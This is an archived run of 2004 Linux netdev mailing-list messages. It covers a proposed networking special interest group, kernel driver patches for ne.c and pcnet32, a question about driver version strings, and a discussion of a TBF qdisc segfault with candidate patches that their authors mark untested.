X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Mon, 24 May 2004 04:49:45 -0400 " > OSLD wants to be the "center of gravity for all Linux related stuff". Well > maybe OSDL can help us :) OSDL does have the ability to host Special Interest Groups (SIG's). There are two existing SIG's one for security, and another for storage. It would make sense to have one for networking, as well. I held off proposing one because Jeff and Dave to a good job and it would end up being more work for me as the networking engineering contact at OSDL. There are no membership restrictions for SIG's at OSDL, but there are some rules (which are still being discussed). Mainly, they revolve around making sure that everything is open, etc. There is a relationship back to the existing working groups as well. For example, the networking SIG would be responsible for giving a response (positive or negative) to any networking requirements that came out of the CGL/DCL/DTL initiatives. So if Jeff (and/or Dave) want to have a networking SIG, I can get it started. Probably there needs to be a strong reason to add more organization to a already mostly functional process. From aris@cathedrallabs.org Mon May 24 11:51:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 11:51:51 -0700 (PDT) Received: from panda.sul.com.br (panda.sul.com.br [200.219.150.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OIpkKO012410 for ; Mon, 24 May 2004 11:51:47 -0700 Received: from cathedrallabs.org (2-130.ctame701-3.telepar.net.br [200.181.173.130]) by panda.sul.com.br (Postfix) with ESMTP id CAAF432A23 for ; Mon, 24 May 2004 15:51:46 -0300 (EST) Received: by cathedrallabs.org (Postfix, from userid 1000) id AED5B2326A; Mon, 24 May 2004 15:49:18 -0300 (BRT) Date: Mon, 24 May 2004 15:49:18 -0300 To: netdev@oss.sgi.com Subject: [patch] ne.c: print info message after register_netdev() Message-ID: <20040524184918.GB15546@cathedrallabs.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="jRHKVT23PllUwdXP" Content-Disposition: inline From: aris@cathedrallabs.org (Aristeu Sergio Rozanski Filho) X-archive-position: 5292 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: aris@cathedrallabs.org Precedence: bulk X-list: netdev --jRHKVT23PllUwdXP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline hi, this patch avoids printing eth%d everytime a card is detected. -- Aristeu P.S: I'm not sure if this is the right list to send this and I'm not subscribed to this list either. so, please cc me for any comments. --jRHKVT23PllUwdXP Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="ne-print.diff" --- 2.6-clean/drivers/net/ne.c 2004-05-09 23:32:29.000000000 -0300 +++ 2.6/drivers/net/ne.c 2004-05-24 13:31:38.000000000 -0300 @@ -477,9 +477,6 @@ static int __init ne_probe1(struct net_d dev->dev_addr[i] = SA_prom[i]; } - printk("\n%s: %s found at %#x, using IRQ %d.\n", - dev->name, name, ioaddr, dev->irq); - ei_status.name = name; ei_status.tx_start_page = start_page; ei_status.stop_page = stop_page; @@ -795,6 +792,10 @@ int init_module(void) dev->base_addr = io[this_dev]; if (do_ne_probe(dev) == 0) { if (register_netdev(dev) == 0) { + printk("\n%s: %s found at %#lx, using IRQ %d.\n", + dev->name, ei_status.name, + dev->base_addr, dev->irq); + dev_ne[found++] = dev; continue; } --jRHKVT23PllUwdXP-- From romieu@fr.zoreil.com Mon May 24 12:21:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:21:22 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJLHKO016190 for ; Mon, 24 May 2004 12:21:18 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4OJJwuX004379; Mon, 24 May 2004 21:19:58 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4OJJwxB004378; Mon, 24 May 2004 21:19:58 +0200 Date: Mon, 24 May 2004 21:19:58 +0200 From: Francois Romieu To: Jaume Catarineu Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: Kernel BUG: Qos seg. fault Message-ID: <20040524211958.A3940@electric-eye.fr.zoreil.com> References: <40B1E325.80408@upf.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <40B1E325.80408@upf.edu>; from jaume.catarineu@upf.edu on Mon, May 24, 2004 at 11:57:25AM +0000 X-Organisation: Land of Sunshine Inc. X-archive-position: 5293 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Jaume Catarineu : [...] > I've configured succesfuly different QoS configurations, but there is > one that *allways* returns a segmentation fault in the kernel module (or > code). This part of the kernel seems to crash when installing an IP > filter. I've tried the code in 2 different computers with different > hardware and even different kernel version (2.4.25 and 2.6.4) Do you still notice the same behavior if you do not load any vmware nor nvidia thing ? -- Ueimor From jgarzik@pobox.com Mon May 24 12:28:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:28:11 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJRxKO016564 for ; Mon, 24 May 2004 12:27:59 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BSL77-0003S8-QI; Mon, 24 May 2004 20:27:57 +0100 Message-ID: <40B24CB0.2080707@pobox.com> Date: Mon, 24 May 2004 15:27:44 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: "Luis R. Rodriguez" , netdev@oss.sgi.com Subject: Re: RFC: Network Device Driver Group proposal References: <20040524084945.GP3330@ruslug.rutgers.edu> <20040524113919.3651c453@dell_ss3.pdx.osdl.net> In-Reply-To: <20040524113919.3651c453@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5294 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Stephen Hemminger wrote: > Probably there needs to be a strong reason to add more organization to a > already mostly functional process. That's my feeling. netdev list seems to work. Jeff From dtor_core@ameritech.net Mon May 24 12:30:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:30:04 -0700 (PDT) Received: from web80510.mail.yahoo.com (web80510.mail.yahoo.com [66.218.79.80]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJU2KO016887 for ; Mon, 24 May 2004 12:30:02 -0700 Message-ID: <20040524192956.89024.qmail@web80510.mail.yahoo.com> Received: from [65.116.80.165] by web80510.mail.yahoo.com via HTTP; Mon, 24 May 2004 12:29:56 PDT Date: Mon, 24 May 2004 12:29:56 -0700 (PDT) From: Dmitry Torokhov Subject: Re: Kernel BUG: Qos seg. fault To: hadi@cyberus.ca, Jaume Catarineu Cc: "David S. Miller" , netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-1774538402-1085426996=:88822" X-archive-position: 5295 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev --0-1774538402-1085426996=:88822 Content-Type: text/plain; charset=us-ascii Content-Id: Content-Disposition: inline Hi, Jamal wrote: > > Can you try to reproduce this problem without the new changes to the > tbf qdisc? > Example can you reproduce this without tbf being at the root? > I have access to a 2.4.21 and 2.6.1 machines which i cant upgrade right > now. I also have a few spare cycles today so i could chase this. > Get rid of tbf at root and see if this still happens > Yes, it is new tbf... It does not have tcf_chain implementation so when someone tries to add a filter to TBF it barfs. I need little help here - does TBF need fill-blown filter support? TBF can only have one qdisc connected to it, and if that qdisc is classful then filters should be attached to that qdisc. Is there any need to attach filter to TBF itself? If TBF does not need its own filter support then the patch below should take care of tc segfaulting (uncompiled, untested). Dmitry --0-1774538402-1085426996=:88822 Content-Type: text/plain; name="tbf_filter_crash.patch" Content-Description: tbf_filter_crash.patch Content-Disposition: inline; filename="tbf_filter_crash.patch" diff -urN 2.6.6/net/sched/sch_tbf.c linux-2.6.6/net/sched/sch_tbf.c --- 2.6.6/net/sched/sch_tbf.c 2004-05-11 11:24:33.777996800 -0500 +++ linux-2.6.6/net/sched/sch_tbf.c 2004-05-24 14:18:41.099267200 -0500 @@ -472,7 +472,7 @@ { } -static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, +static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, struct rtattr **tca, unsigned long *arg) { return -ENOSYS; @@ -495,6 +495,11 @@ } } +static struct tcf_proto **tbf_find_tcf(struct Qdisc *sch, unsigned long cl) +{ + return NULL; +} + static struct Qdisc_class_ops tbf_class_ops = { .graft = tbf_graft, @@ -504,6 +509,7 @@ .change = tbf_change_class, .delete = tbf_delete, .walk = tbf_walk, + .tcf_chain = tbf_find_tcf, .dump = tbf_dump_class, }; --0-1774538402-1085426996=:88822-- From brazilnut@us.ibm.com Mon May 24 12:39:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:39:28 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJdNKO017276 for ; Mon, 24 May 2004 12:39:23 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i4OJdEll444070; Mon, 24 May 2004 15:39:14 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4OJdjpP118566; Mon, 24 May 2004 15:39:46 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4OJX8024523; Mon, 24 May 2004 12:33:08 -0700 From: Don Fry Message-Id: <200405241933.i4OJX8024523@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.6-bk8] pcnet32: fix bogus carrier errors with 79c973 To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 24 May 2004 12:33:07 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5296 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The 79C973 version of the pcnet32 chipset would report all transmit operations as being sent with a carrier error. The root cause was writing reserved bits in bcr33. It caused the 973 to report xmit as errors, and caused 975 and 976 to hard hang when reading bcr34. My thanks to Bruce Penrod for his help in finding the cause of this bug. --- linux-2.6.6-bk8/drivers/net/limit.pcnet32.c Sat May 22 15:16:50 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Mon May 24 11:24:22 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.30a" -#define DRV_RELDATE "05.22.2004" +#define DRV_VERSION "1.30b" +#define DRV_RELDATE "05.24.2004" #define PFX DRV_NAME ": " static const char *version = @@ -132,7 +132,7 @@ }; #define PCNET32_TEST_LEN (sizeof(pcnet32_gstrings_test) / ETH_GSTRING_LEN) -#define PCNET32_NUM_REGS 146 +#define PCNET32_NUM_REGS 168 #define MAX_UNITS 8 /* More are supported, limit only on options */ static int options[MAX_UNITS]; @@ -242,6 +242,8 @@ * v1.30 18 May 2004 Don Fry removed timer and Last Transmit Interrupt * (ltint) as they added complexity and didn't give good throughput. * v1.30a 22 May 2004 Don Fry limit frames received during interrupt. + * v1.30b 24 May 2004 Don Fry fix bogus tx carrier errors with 79c973, + * assisted by Bruce Penrod . */ @@ -889,15 +891,25 @@ for (i=0; i<16; i += 2) *buff++ = inw(ioaddr + i); - for (i = 0; i <= 89; i++) { + /* read control and status registers */ + for (i=0; i<90; i++) { *buff++ = a->read_csr(ioaddr, i); } *buff++ = a->read_csr(ioaddr, 112); *buff++ = a->read_csr(ioaddr, 114); - for (i = 0; i <= 35; i++) { - *buff++ = (i == 34) ? 0xdead : a->read_bcr(ioaddr, i); + /* read bus configuration registers */ + for (i=0; i<36; i++) { + *buff++ = a->read_bcr(ioaddr, i); + } + + /* read mii phy registers */ + if (lp->mii) { + for (i=0; i<32; i++) { + lp->a.write_bcr(ioaddr, 33, ((lp->mii_if.phy_id) << 5) | i); + *buff++ = lp->a.read_bcr(ioaddr, 34); + } } if (!(csr0 & 0x0004)) { /* If not stopped */ @@ -1751,6 +1763,9 @@ /* There was an major error, log it. */ int err_status = le32_to_cpu(lp->tx_ring[entry].misc); lp->stats.tx_errors++; + if (netif_msg_tx_err(lp)) + printk(KERN_ERR "%s: Tx error status=%04x err_status=%08x\n", + dev->name, status, err_status); if (err_status & 0x04000000) lp->stats.tx_aborted_errors++; if (err_status & 0x08000000) lp->stats.tx_carrier_errors++; if (err_status & 0x10000000) lp->stats.tx_window_errors++; @@ -2116,39 +2131,33 @@ spin_unlock_irqrestore(&lp->lock, flags); } +/* This routine assumes that the lp->lock is held */ static int mdio_read(struct net_device *dev, int phy_id, int reg_num) { struct pcnet32_private *lp = dev->priv; unsigned long ioaddr = dev->base_addr; u16 val_out; - int phyaddr; if (!lp->mii) return 0; - phyaddr = lp->a.read_bcr(ioaddr, 33); - lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); val_out = lp->a.read_bcr(ioaddr, 34); - lp->a.write_bcr(ioaddr, 33, phyaddr); return val_out; } +/* This routine assumes that the lp->lock is held */ static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val) { struct pcnet32_private *lp = dev->priv; unsigned long ioaddr = dev->base_addr; - int phyaddr; if (!lp->mii) return; - phyaddr = lp->a.read_bcr(ioaddr, 33); - lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); lp->a.write_bcr(ioaddr, 34, val); - lp->a.write_bcr(ioaddr, 33, phyaddr); } static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Mon May 24 12:41:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:41:13 -0700 (PDT) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJf8KO017585 for ; Mon, 24 May 2004 12:41:08 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4OJewhL738052; Mon, 24 May 2004 15:40:58 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4OJfZpP098034; Mon, 24 May 2004 15:41:36 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4OJZ3a24539; Mon, 24 May 2004 12:35:03 -0700 From: Don Fry Message-Id: <200405241935.i4OJZ3a24539@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.27-pre3] pcnet32: fix bogus carrier errors with 79c973 To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 24 May 2004 12:35:02 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5297 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The 79C973 version of the pcnet32 chipset would report all transmit operations as being sent with a carrier error. The root cause was writing reserved bits in bcr33. It caused the 973 to report xmit as errors, and caused 975 and 976 to hard hang when reading bcr34. My thanks to Bruce Penrod for his help in finding the cause of this bug. --- linux-2.4.27-pre3/drivers/net/limit.pcnet32.c Mon May 24 11:35:30 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Mon May 24 11:35:41 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.30a" -#define DRV_RELDATE "05.22.2004" +#define DRV_VERSION "1.30b" +#define DRV_RELDATE "05.24.2004" #define PFX DRV_NAME ": " static const char *version = @@ -132,7 +132,7 @@ }; #define PCNET32_TEST_LEN (sizeof(pcnet32_gstrings_test) / ETH_GSTRING_LEN) -#define PCNET32_NUM_REGS 146 +#define PCNET32_NUM_REGS 168 #define MAX_UNITS 8 /* More are supported, limit only on options */ static int options[MAX_UNITS]; @@ -242,6 +242,8 @@ * v1.30 18 May 2004 Don Fry removed timer and Last Transmit Interrupt * (ltint) as they added complexity and didn't give good throughput. * v1.30a 22 May 2004 Don Fry limit frames received during interrupt. + * v1.30b 24 May 2004 Don Fry fix bogus tx carrier errors with 79c973, + * assisted by Bruce Penrod . */ @@ -889,15 +891,25 @@ for (i=0; i<16; i += 2) *buff++ = inw(ioaddr + i); - for (i = 0; i <= 89; i++) { + /* read control and status registers */ + for (i=0; i<90; i++) { *buff++ = a->read_csr(ioaddr, i); } *buff++ = a->read_csr(ioaddr, 112); *buff++ = a->read_csr(ioaddr, 114); - for (i = 0; i <= 35; i++) { - *buff++ = (i == 34) ? 0xdead : a->read_bcr(ioaddr, i); + /* read bus configuration registers */ + for (i=0; i<36; i++) { + *buff++ = a->read_bcr(ioaddr, i); + } + + /* read mii phy registers */ + if (lp->mii) { + for (i=0; i<32; i++) { + lp->a.write_bcr(ioaddr, 33, ((lp->mii_if.phy_id) << 5) | i); + *buff++ = lp->a.read_bcr(ioaddr, 34); + } } if (!(csr0 & 0x0004)) { /* If not stopped */ @@ -1750,6 +1762,9 @@ /* There was an major error, log it. */ int err_status = le32_to_cpu(lp->tx_ring[entry].misc); lp->stats.tx_errors++; + if (netif_msg_tx_err(lp)) + printk(KERN_ERR "%s: Tx error status=%04x err_status=%08x\n", + dev->name, status, err_status); if (err_status & 0x04000000) lp->stats.tx_aborted_errors++; if (err_status & 0x08000000) lp->stats.tx_carrier_errors++; if (err_status & 0x10000000) lp->stats.tx_window_errors++; @@ -2109,39 +2124,33 @@ spin_unlock_irqrestore(&lp->lock, flags); } +/* This routine assumes that the lp->lock is held */ static int mdio_read(struct net_device *dev, int phy_id, int reg_num) { struct pcnet32_private *lp = dev->priv; unsigned long ioaddr = dev->base_addr; u16 val_out; - int phyaddr; if (!lp->mii) return 0; - phyaddr = lp->a.read_bcr(ioaddr, 33); - lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); val_out = lp->a.read_bcr(ioaddr, 34); - lp->a.write_bcr(ioaddr, 33, phyaddr); return val_out; } +/* This routine assumes that the lp->lock is held */ static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val) { struct pcnet32_private *lp = dev->priv; unsigned long ioaddr = dev->base_addr; - int phyaddr; if (!lp->mii) return; - phyaddr = lp->a.read_bcr(ioaddr, 33); - lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); lp->a.write_bcr(ioaddr, 34, val); - lp->a.write_bcr(ioaddr, 33, phyaddr); } static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Mon May 24 12:46:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:46:44 -0700 (PDT) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJkeKO018003 for ; Mon, 24 May 2004 12:46:41 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4OJkYGK862504; Mon, 24 May 2004 15:46:34 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4OJlF8d109404; Mon, 24 May 2004 15:47:15 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4OJedx24559; Mon, 24 May 2004 12:40:39 -0700 From: Don Fry Message-Id: <200405241940.i4OJedx24559@DYN318364BLD.beaverton.ibm.com> Subject: driver version string changes To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 24 May 2004 12:40:38 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5298 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev What is the correct approach in dealing with version strings in drivers? For my own sanity, I need to change the version string as I make changes to the driver. Some drivers and the kernel use a nn.nn.nn format while others use nn.nn and others use nn.nnsss, where nn is a number and sss is a character or string. The pcnet32 does a mixture, and I have recently added to that inconsistency. What is the recommendation for version strings in Linux drivers, and what have I not read that already answers this question? -- Don Fry brazilnut@us.ibm.com From hadi@cyberus.ca Mon May 24 12:47:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 12:47:25 -0700 (PDT) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OJlLKO018141 for ; Mon, 24 May 2004 12:47:21 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1BSLPq-0001Ko-Qg for netdev@oss.sgi.com; Mon, 24 May 2004 15:47:18 -0400 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BSLPm-0006eI-JI; Mon, 24 May 2004 15:47:14 -0400 Subject: Re: Kernel BUG: Qos seg. fault From: jamal Reply-To: hadi@cyberus.ca To: Dmitry Torokhov Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com In-Reply-To: <20040524192956.89024.qmail@web80510.mail.yahoo.com> References: <20040524192956.89024.qmail@web80510.mail.yahoo.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1085428033.1040.24.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 May 2004 15:47:13 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5299 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-05-24 at 15:29, Dmitry Torokhov wrote: > Hi, > > Yes, it is new tbf... It does not have tcf_chain implementation so > when someone tries to add a filter to TBF it barfs. I need little > help here - does TBF need fill-blown filter support? Well to claim it can be classful which is what that effort, yes you would be useful to have. Take a look at the prio qdisc which is also able to run when there are no filters attached. > TBF can only > have one qdisc connected to it, and if that qdisc is classful then > filters should be attached to that qdisc. Is there any need to attach > filter to TBF itself? Refer to what i said above. > If TBF does not need its own filter support then the patch below > should take care of tc segfaulting (uncompiled, untested). > > Dmitry > > ______________________________________________________________________ > > diff -urN 2.6.6/net/sched/sch_tbf.c linux-2.6.6/net/sched/sch_tbf.c > --- 2.6.6/net/sched/sch_tbf.c 2004-05-11 11:24:33.777996800 -0500 > +++ linux-2.6.6/net/sched/sch_tbf.c 2004-05-24 14:18:41.099267200 -0500 > @@ -472,7 +472,7 @@ > { > } > > -static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, > +static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, > struct rtattr **tca, unsigned long *arg) > { > return -ENOSYS; > @@ -495,6 +495,11 @@ > } > } > > +static struct tcf_proto **tbf_find_tcf(struct Qdisc *sch, unsigned long cl) > +{ > + return NULL; > +} > + > static struct Qdisc_class_ops tbf_class_ops = > { > .graft = tbf_graft, > @@ -504,6 +509,7 @@ > .change = tbf_change_class, > .delete = tbf_delete, > .walk = tbf_walk, > + .tcf_chain = tbf_find_tcf, > .dump = tbf_dump_class, > }; looks more like a bandaid. Try this (untested, uncompiled). --- /usr/src/261/net/sched/sch_tbf.c 2004-01-09 01:59:06.000000000 -0500 +++ /usr/src/261/net/sched/mod-tbf.c 2004-05-24 15:44:46.000000000 -0400 @@ -130,6 +130,7 @@ psched_time_t t_c; /* Time check-point */ struct timer_list wd_timer; /* Watchdog timer */ struct Qdisc *qdisc; /* Inner qdisc, default - bfifo queue */ + struct tcf_proto *filter_list; }; #define L2T(q,L) ((q)->R_tab->data[(L)>>(q)->R_tab->rate.cell_log]) @@ -458,6 +459,12 @@ return 0; } +static struct Qdisc *tbf_find_tcf(struct Qdisc *sch, unsigned long arg) +{ + struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; + return q->filter_list; +} + static struct Qdisc *tbf_leaf(struct Qdisc *sch, unsigned long arg) { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; @@ -507,6 +514,7 @@ .change = tbf_change_class, .delete = tbf_delete, .walk = tbf_walk, + .tcf_chain = tbf_find_tcf, .dump = tbf_dump_class, }; cheers, jamal From dtor_core@ameritech.net Mon May 24 13:14:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 13:15:00 -0700 (PDT) Received: from web80510.mail.yahoo.com (web80510.mail.yahoo.com [66.218.79.80]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OKEqKO019121 for ; Mon, 24 May 2004 13:14:52 -0700 Message-ID: <20040524201447.97467.qmail@web80510.mail.yahoo.com> Received: from [65.116.80.165] by web80510.mail.yahoo.com via HTTP; Mon, 24 May 2004 13:14:47 PDT Date: Mon, 24 May 2004 13:14:47 -0700 (PDT) From: Dmitry Torokhov Subject: Re: Kernel BUG: Qos seg. fault To: hadi@cyberus.ca Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5300 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev > > Hi, > > > > > Yes, it is new tbf... It does not have tcf_chain implementation so > > when someone tries to add a filter to TBF it barfs. I need little > > help here - does TBF need fill-blown filter support? > > Well to claim it can be classful which is what that effort, yes you > would be useful to have. Take a look at the prio qdisc which is also > able to run when there are no filters attached. > prio qdisc can have several child qdiscs attached to it so I can see why it supports filters. But what is the point of TBF having filter attached? TBF either drops packet or passes it to its only child, there isn't anything to filter. Or am I missing something? Dmitry From rddunlap@osdl.org Mon May 24 13:19:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 13:19:40 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OKJHKO019443 for ; Mon, 24 May 2004 13:19:20 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4OKFlr26496; Mon, 24 May 2004 13:15:48 -0700 Date: Mon, 24 May 2004 13:05:41 -0700 From: "Randy.Dunlap" To: Jeff Garzik Cc: shemminger@osdl.org, mcgrof@studorgs.rutgers.edu, netdev@oss.sgi.com Subject: Re: RFC: Network Device Driver Group proposal Message-Id: <20040524130541.562b5658.rddunlap@osdl.org> In-Reply-To: <40B24CB0.2080707@pobox.com> References: <20040524084945.GP3330@ruslug.rutgers.edu> <20040524113919.3651c453@dell_ss3.pdx.osdl.net> <40B24CB0.2080707@pobox.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5301 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev On Mon, 24 May 2004 15:27:44 -0400 Jeff Garzik wrote: | Stephen Hemminger wrote: | > Probably there needs to be a strong reason to add more organization to a | > already mostly functional process. | | That's my feeling. netdev list seems to work. I agree, and Luis (mcgrof) should point out any specific issues so that they might be resolved... -- ~Randy From mcgrof@studorgs.rutgers.edu Mon May 24 13:20:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 13:20:53 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com 